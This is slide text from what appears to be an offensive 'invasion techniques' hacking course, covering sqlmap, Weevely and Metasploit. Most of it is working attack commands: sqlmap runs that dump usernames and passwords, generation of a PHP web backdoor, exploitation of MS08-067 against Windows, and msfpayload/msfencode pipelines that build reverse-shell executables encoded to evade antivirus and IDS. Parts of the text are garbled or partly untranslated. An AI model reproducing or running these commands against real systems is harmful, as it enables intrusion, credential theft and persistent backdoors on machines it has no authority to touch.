SQL Injection and Backdoor Techniques
SQL Injection and Backdoor Techniques
What is the difference between SQL Injection and Blind SQL Injection?
SQLMap
Lesson 2 - Training: Invasion Techniques - BlackHat
SQLMAP
Local: /pentest/database/sqlmap
./[Link] --url "[Link] --[options]
SQLMap
Class 2 - Training: Invasion Techniques - BlackHat
Sqlmap is an open source tool for penetration testing that automates the
process of detection and exploitation of vulnerabilities to SQL Injection, it is written
in Python and has support for both GNU Linux and Windows.
--help
Show the options of SQLMAP
--current-db
Presents the current database
Example:./[Link] --url "[Link] --current-db
--banner
Take the DBMS Banner
Example:./[Link] --url "[Link] -b
--dbs
List the databases of the DBMS
Example:./[Link] --url "[Link] --dbs
--tables
Displays the tables of the selected database
Example: ./[Link] --url "[Link]
-D acuart --tables
--columns
Displays the columns of the selected table
Example: ./[Link] --url "[Link]
-D acuart -T users --columns
--dump
Extract the information from the selected columns
Example: ./[Link] --url "[Link]
-D acuart -T users -C 'uname,pass' --dump
SQLMap
Lesson 2–Training: Invasion Techniques - BlackHat
--current-user
It presents the user that the page is using to connect to the database.
Example: ./[Link] --url "[Link] --current-user
--is-dba
Check if the current user is an administrator of the Bank
Example: ./[Link] --url "[Link] --is-dba
--users
List all users
Example: ./[Link] --url "[Link] --users
--search
Search the database for what you are looking for, it can be a table, bank or column.
./[Link] --url "[Link] --search-C 'pass'
SQLMap: Exercise
Class 2–Training: Invasion Techniques - BlackHat
Directory Traversal is when a website or application reads a file from the server.
It is from the computer, but it allows the user to identify which file will be read.
The program or website should perform a check to see if the user has
permission to read that file, but does not do so, allowing the file to be
lido.
The failure gets this name because, in most cases, the program or site wants
read only files from a specific directory, but allows the user
put ../ in the file path. ../ or ..\ means "directory above". With "../"
sufficient, the program will be reading files at the root of the disk.
Try accessing the file "C:\Program Files\..", for example.
Weevely
Local: /pentest/backdoors/web/weevely
./weevely <url> <password> <command>
Backdoor - Weevely
Class 2 - Training: Invasion Techniques - BlackHat
Weevely is a discreet PHP backdoor that simulates a telnet connection. It is an essential tool.
to be injected after the exploitation of a vulnerability in a web application. With a
basic permission to upload PHP files, you just need to generate and upload the
PHP "server" code on the target, and locally executing Weevely transmits shell commands.
Weevely is a Python program that will allow you to generate a PHP 'server' code in order to
infect a web server and take control of it. After a successful exploitation of a
web application, through examples, RFI, LFI or MySQL LOAD DATA INFILE, you just need
upload the PHP 'server' code to the target, and your local Weevely python script will
transmit orders.
All commands are sent through data hidden in HTTP and these commands are
using a dynamic function probe of the system to bypass security restrictions of
PHP. Weevely tries to circumvent the PHP settings that disable sensitive functions that
execute external programs, disable in [Link].
Weevely is included in Backtrack and Backbox and other Linux distributions for testing
penetration
Backdoor - Weevely
Class 2 - Training: Invasion Techniques - BlackHat
Use:
Generating the Backdoor
Create a backdoor with the password eSecurity in the /tmp folder
# weevely generate eSecurity /tmp/[Link]
Metasploit update:
msfupdate
Metasploit Compatibilities
Windows Native
Linux, BSD, MAC OS X
["Nokia 770","N900","N800"]
Zaurus (Various Models)
Android
iPhone
Motorola A1200
Metasploit
Class 2–Training: Invasion Techniques - BlackHat
Exploit
It is a way through which an attacker can exploit a vulnerability within a
System
Payload
An embedded code in an exploit used for post-exploitation definition. It is
the action that will be executed after the exploration
Shellcode
It is the Payload code that is injected into the compromised system through the
exploit.
Module
Small pieces of scripts that can be used by Metasploit to
perform certain operations
Listener
Component that awaits a return connection post-invasion. Useful for
reverse connection
Metasploit
Class 2–Training: Invasion Techniques - BlackHat
MSFConsole
It is the Metasploit console
msfconsole
Metasploit update
# msfupdate
snv update
Metasploit
Class 2–Training: Invasion Techniques - BlackHat
MSFcli
It is an interface to execute exploits, auxiliary modules without the need.
to start the console
# msfcli windows/smb/ms08_067_netapi RHOST=[Link]
PAYLOAD=windows/shell/bind_tcp E
Metasploit
Class 2–Training: Invasion Techniques - BlackHat
MSFPayload:
Tool that generates executable Shell code. It can be generated in C, VB, Python.
Ruby...
Syntax:
# ./msfpayload windows/shell_reverse_tcp O
// Traz as opções do payload selecionado
# ./msfpayload windows/shell_reverse_tcp LHOST=[Link] X > [Link]
Create an exe file that will establish a reverse connection when executed.
Metasploit
Class 2–Training: Invasion Techniques - BlackHat
MSFencode
The tool encodes a payload to bypass IDS, Antivirus, and similar systems.
Syntax
# ./msfpayload windows/shell_reverse_tcp LHOST=[Link]
R | msfencode -c 15 -e x86/shikata_ga_nai -a x86 -t raw |
msfencode -c 3 -e x86/call4_dword_xor -t exe > [Link]
Create an exe file that, when executed, will perform a
reverse connection.
R = Raw
T = Formed from the output,
raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exesmall,
elf, macho, vba, vba-exe, vbs, loop-vbs, asp, war
A = File architecture
C = Number of times the encode will pass through the file
E = Encoder to be used
Metasploit
Class 2–Training: Invasion Techniques - BlackHat
Metasploit PRO
Professional version of Metasploit, Paid!
Armitage
A graphical interface that was not created by the creators of Metasploit
Metasploit
Class 2–Training: Invasion Techniques - BlackHat
Exploiting Windows XP
# msfconsole
# use windows/smb/ms08_067_netapi
# set RHOST [Link]
set PAYLOAD windows/meterpreter/reverse_tcp
# set LHOST [Link]
exploit
Attacking Windows 7
Class 2 - Training: Invasion Techniques - BlackHat
Creating Backdoor
#msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 x > [Link]
#msfconsole
#use exploit/multi/handler
#set payload windows/meterpreter/reverse_tcp
#set lhost IP
#exploit
MSFencode
The tool encodes a payload to bypass IDS, antivirus, and similar systems.
Syntax
# ./msfpayload windows/shell_reverse_tcp LHOST=[Link]
R | msfencode -c 15 -e x86/shikata_ga_nai -a x86 -t raw |
msfencode -c 3 -e x86/call4_dword_xor -t exe > [Link]
//Creates an exe file that will execute when run
reverse connection.
That's enough for today
Class 2 - Training: Invasion Techniques - BlackHat
[Link]
E-mail:[Link]@[Link]
Skype: desafiohacker
[Link]/academiahacker